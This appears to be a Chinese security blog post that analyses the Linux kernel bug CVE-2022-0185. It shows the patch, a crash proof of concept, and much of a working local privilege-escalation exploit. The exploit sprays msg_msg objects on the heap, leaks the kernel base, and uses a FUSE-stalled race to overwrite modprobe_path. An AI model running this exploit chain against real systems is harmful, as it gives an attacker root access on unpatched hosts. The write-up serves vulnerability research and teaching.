CVE-2022-0185 linux kernel利用FUSE技术稳定race
blue的碎碎念 历史精选 5606浏览 · 2022-03-22 15:34

前言:

最近看到will师傅的博客,里面提到了一种名为FUSE的技术,刚开始还以为这技术能用于kernel pwn中,CTFer狂喜,没想到这技术只能用于真实环境中.因为FUSE这个模块在bzimage中只有root权限才能调用.在真实环境中没有影响.

FUSE技术:

什么是FUSE技术?
简单来说,fuse实现了一个对文件系统访问的回调.

如题所示,通过hello程序把fuse文件系统挂载在/tmp/fuse目录下.此时如果在该目录中有相关操作时,请求会经过VFS到fuse的内核模块(上图中的步骤1),fuse内核模块根据请求类型,调用用户态应用注册的函数(上图中步骤2),然后将处理结果通过VFS返回给系统调用(步骤3)。参考
fuse_operations结构如下

struct fuse_operations {
    int (*getattr) (const char *, struct stat *);
    int (*readlink) (const char *, char *, size_t);
    int (*getdir) (const char *, fuse_dirh_t, fuse_dirfil_t);
    int (*mknod) (const char *, mode_t, dev_t);
    int (*mkdir) (const char *, mode_t);
    int (*unlink) (const char *);
    int (*rmdir) (const char *);
    int (*symlink) (const char *, const char *);
    int (*rename) (const char *, const char *);
    int (*link) (const char *, const char *);
    int (*chmod) (const char *, mode_t);
    int (*chown) (const char *, uid_t, gid_t);
    int (*truncate) (const char *, off_t);
    int (*utime) (const char *, struct utimbuf *);
    int (*open) (const char *, struct fuse_file_info *);
    int (*read) (const char *, char *, size_t, off_t,
             struct fuse_file_info *);
    int (*write) (const char *, const char *, size_t, off_t,
              struct fuse_file_info *);
    int (*statfs) (const char *, struct statvfs *);
    int (*flush) (const char *, struct fuse_file_info *);
    int (*release) (const char *, struct fuse_file_info *);
    int (*fsync) (const char *, int, struct fuse_file_info *);
    int (*setxattr) (const char *, const char *, const char *, size_t, int);
    int (*getxattr) (const char *, const char *, char *, size_t);
    int (*listxattr) (const char *, char *, size_t);
    int (*removexattr) (const char *, const char *);
    int (*opendir) (const char *, struct fuse_file_info *);
    int (*readdir) (const char *, void *, fuse_fill_dir_t, off_t,
            struct fuse_file_info *);
    int (*releasedir) (const char *, struct fuse_file_info *);
    int (*fsyncdir) (const char *, int, struct fuse_file_info *);
    void *(*init) (struct fuse_conn_info *conn);
    void (*destroy) (void *);
    int (*access) (const char *, int);
    int (*create) (const char *, mode_t, struct fuse_file_info *);
    int (*ftruncate) (const char *, off_t, struct fuse_file_info *);
    int (*fgetattr) (const char *, struct stat *, struct fuse_file_info *);
    int (*lock) (const char *, struct fuse_file_info *, int cmd,
             struct flock *);
    int (*utimens) (const char *, const struct timespec tv[2]);
    int (*bmap) (const char *, size_t blocksize, uint64_t *idx);
    int (*ioctl) (const char *, int cmd, void *arg,
              struct fuse_file_info *, unsigned int flags, void *data);
    int (*poll) (const char *, struct fuse_file_info *,
             struct fuse_pollhandle *ph, unsigned *reventsp);
    int (*write_buf) (const char *, struct fuse_bufvec *buf, off_t off,
              struct fuse_file_info *);
    int (*read_buf) (const char *, struct fuse_bufvec **bufp,
             size_t size, off_t off, struct fuse_file_info *);
    int (*flock) (const char *, struct fuse_file_info *, int op);
    int (*fallocate) (const char *, int, off_t, off_t,
              struct fuse_file_info *);
};

举个小栗子:(这里我直接用will大佬的文件了,以前我本地也可以的,后来环境出问题了重新安装了系统就不行了...)

//fuse.c
//gcc -no-pie -static fuse.c fakefuse.c util.c -I./libfuse libfuse3.a -o blue -masm=intel -pthread
#define _GNU_SOURCE
#include <stdbool.h>
#include <sys/mman.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <pthread.h>
#include <stdint.h>
#include "fakefuse.h"

static const struct fuse_operations evil_ops = {
    .getattr        = evil_getattr,
    .readdir        = evil_readdir,
    .read           = evil_read,
};
char *fargs_evil[] = {"exploit", "evil", NULL };

int main(){
    return fuse_main(sizeof(fargs_evil)/sizeof(char *) -1 , fargs_evil, &evil_ops, NULL);
}

可以看到多了个文件系统

补丁:

diff --git a/fs/fs_context.c b/fs/fs_context.c
index de1985eae..a195e516f 100644
--- a/fs/fs_context.c
+++ b/fs/fs_context.c
@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
                              param->key);
        }

-       if (len > PAGE_SIZE - 2 - size)
+       if (size + len + 2 > PAGE_SIZE)
                return invalf(fc, "VFS: Legacy: Cumulative options too large");
        if (strchr(param->key, ',') ||

漏洞分析:

poc:

#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)

int main(void)
{
        char* val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
        int fd = 0;
        fd = fsopen("ext4", 0);
        if (fd < 0) {
                puts("Opening");
                exit(-1);
        }
        for (int i = 0; i < 5000; i++) {
                fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0);
        }
        return 0;
}

可以看到linux成功panic

代码路径:

我们只需要关注legacy_parse_param就好

static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
    struct legacy_fs_context *ctx = fc->fs_private;
    unsigned int size = ctx->data_size;
    size_t len = 0;

    if (strcmp(param->key, "source") == 0) {
        if (param->type != fs_value_is_string)
            return invalf(fc, "VFS: Legacy: Non-string source");
        if (fc->source)
            return invalf(fc, "VFS: Legacy: Multiple sources");
        fc->source = param->string;
        param->string = NULL;
        return 0;
    }

    if (ctx->param_type == LEGACY_FS_MONOLITHIC_PARAMS)
        return invalf(fc, "VFS: Legacy: Can't mix monolithic and individual options");

    switch (param->type) {
    case fs_value_is_string:
        len = 1 + param->size;
        fallthrough;
    case fs_value_is_flag:
        len += strlen(param->key);
        break;
    default:
        return invalf(fc, "VFS: Legacy: Parameter type for '%s' not supported",
                  param->key);
    }

    if (len > PAGE_SIZE - 2 - size)//漏洞点
        return invalf(fc, "VFS: Legacy: Cumulative options too large");
    if (strchr(param->key, ',') ||
        (param->type == fs_value_is_string &&
         memchr(param->string, ',', param->size)))
        return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
                  param->key);
    if (!ctx->legacy_data) {
        ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);
        if (!ctx->legacy_data)
            return -ENOMEM;
    }

    ctx->legacy_data[size++] = ',';
    len = strlen(param->key);
    memcpy(ctx->legacy_data + size, param->key, len);
    size += len;
    if (param->type == fs_value_is_string) {
        ctx->legacy_data[size++] = '=';
        memcpy(ctx->legacy_data + size, param->string, param->size);//越界写
        size += param->size;
    }
    ctx->legacy_data[size] = '\0';
    ctx->data_size = size;
    ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
    return 0;
}

漏洞点就是size是无符号数,当size>PAGE_SIZE - 2时会导致 "PAGE_SIZE - 2 - size"变成一个很大的数(当初我这理解了好久...太笨了)

绕过这个判断之后,就会导致后面的memcpy函数越界写.而且会越界写到未申请的堆块上.
可以看到成功越界写
执行memcpy之前

执行memcpy之后

leak:

leak用到了msg_msg结构.msg_msg结构网上其他师傅的分析写的很详细了,我这就不再赘述了.主要讲讲这里怎么leak:

uint64_t do_leak () 
{
    uint64_t kbase = 0;
    char pat[0x1000] = {0};
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    int targets[0x10] = {0};
    msg *message = (msg *)buffer;
    int size = 0x1018;

    // spray msg_msg
    for (int i = 0; i < 8; i++) 
    {
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0);
    }

    memset(pat, 0x42, sizeof(pat));
    pat[sizeof(pat)-1] = '\x00';
    puts("[*] Opening ext4 filesystem");

    fd = fsopen("ext4", 0);
    if (fd < 0) 
    {
            puts("fsopen: Remember to unshare");
            exit(-1);
    }

    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 117; i++) 
    {
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    }

    // overflow, hopefully causes an OOB read on a potential msg_msg object below
    puts("[*] Overflowing...");
    pat[21] = '\x00';
    char evil[] = "\x60\x10";
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);

    // spray more msg_msg
    for (int i = 8; i < 0x10; i++) 
    {
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0);
    }

    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);

    puts("[*] Done heap overflow");
    puts("[*] Spraying kmalloc-32");
    for (int i = 0; i < 100; i++) 
    {
        open("/proc/self/stat", O_RDONLY);
    }

    size = 0x1060;
    puts("[*] Attempting to recieve corrupted size and leak data");

    // go through all targets qids and check if we hopefully get a leak
    for (int j = 0; j < 0x10; j++) 
    {
        get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
        kbase = do_check_leak(recieved);
        if (kbase) 
        {
            close(fd);
            return kbase;
        }
    }

    puts("[X] No leaks, trying again");
    return 0;
}

1.用漏洞函数(这里指的是fsconfig系统调用)强相关的open函数(也就是fsopen系统调用)打开一个ext4文件系统,这时内核会调用kmalloc申请0x1000大小的内核堆(也就是legacy_data结构).
2.申请几个msg_msg结构,使msg_msg结构在内核中的大小为0x1000+0x20,这时msg_msg的包含size等关键信息的堆块大概率会在legacy_data结构的后面.
3.喷射大量shm_file_data对象,shm_file_data是0x20大小的,大概率会落在msg_msg第二段消息结构的后面.
4.利用漏洞函数改大msg_msg结构的size
5.用msg_msg结构的相关函数进行读

利用fuse技术任意地址写modprobe_path完成提权:

void do_win() 
{   
    int size = 0x1000;
    char buffer[0x2000] = {0};
    char pat[0x1000] = {0};
    msg* message = (msg*)buffer;
    memset(buffer, 0x44, sizeof(buffer));

    void *evil_page = mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
    uint64_t race_page = 0x1338000;
    msg *rooter = (msg *)(race_page-0x8);
    rooter->mtype = 1;
    size = 0x1010;

    int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
    send_msg(target, message, size - 0x30, 0);

    puts("[*] Opening ext4 filesystem");
    fd = fsopen("ext4", 0);
    if (fd < 0) 
    {
            puts("Opening");
            exit(-1);
    }
    puts("[*] Overflowing...");
    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 117; i++) 
    {
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    }

    puts("[*] Prepaing fault handlers via FUSE");
    int evil_fd = open("evil/evil", O_RDWR);
    if (evil_fd < 0)
    {
        perror("evil fd failed");
        exit(-1);
    }
    if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000)
    {
        perror("mmap fail fuse 1");
        exit(-1);
    }

    pthread_t thread;
    int race = pthread_create(&thread, NULL, arb_write, NULL);
    if(race != 0)
    {
        perror("can't setup threads for race");
    }
    send_msg(target, rooter, size - 0x30, 0);
    pthread_join(thread, NULL);
    munmap((void *)0x1337000, 0x1000);
    munmap((void *)0x1338000, 0x1000);
    close(evil_fd);
    close(fd);
}

void *arb_write(void *args)
{
    uint64_t goal = modprobe_path - 8;
    char pat[0x1000] = {0};
    memset(pat, 0x41, 29);
    char evil[0x20];
    memcpy(evil, (void *)&goal, 8);
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
    puts("[*] Done heap overflow");
    write(fuse_pipes[1], "A", 1);
}

int evil_read(const char *path, char *buf, size_t size, off_t offset,
              struct fuse_file_info *fi)
{   
    // change to modprobe_path
    char signal;
    char evil_buffer[0x1000];
    memset(evil_buffer, 0x43, sizeof(evil_buffer));
    char *evil = modprobe_win;
    memcpy((void *)(evil_buffer + 0x1000-0x30), evil, sizeof(evil));

    size_t len = 0x1000;

    if (offset >= len)
        return size;

    if (offset + size > len)
        size = len - offset;

    memcpy(buf, evil_buffer + offset, size);

    // sync with the arb write thread
    read(fuse_pipes[0], &signal, 1);

    return size;
}

1.首先是fsopen系统调用.
2.然后是打开FUSE文件系统.并创建一个管道(pipe,主要是为了接下来的写)
3.申请两个相邻的页,其中打开的FUSE文件系统映射到第二个页
4.创建一个线程,这个线程里包含漏洞触发函数
5.尝试对FUSE文件系统进行读写,这时候会调用我们自定义的read函数.
6.自定义的read函数里尝试对管道进行写.
7.线程里触发漏洞函数,讲msg_msg结构的next指针覆盖成modprobe_path,并尝试对管道进行读.管道读的内容就被写进了modprobe_path里.
8.利用成功.

3 条评论
某人
表情
可输入 255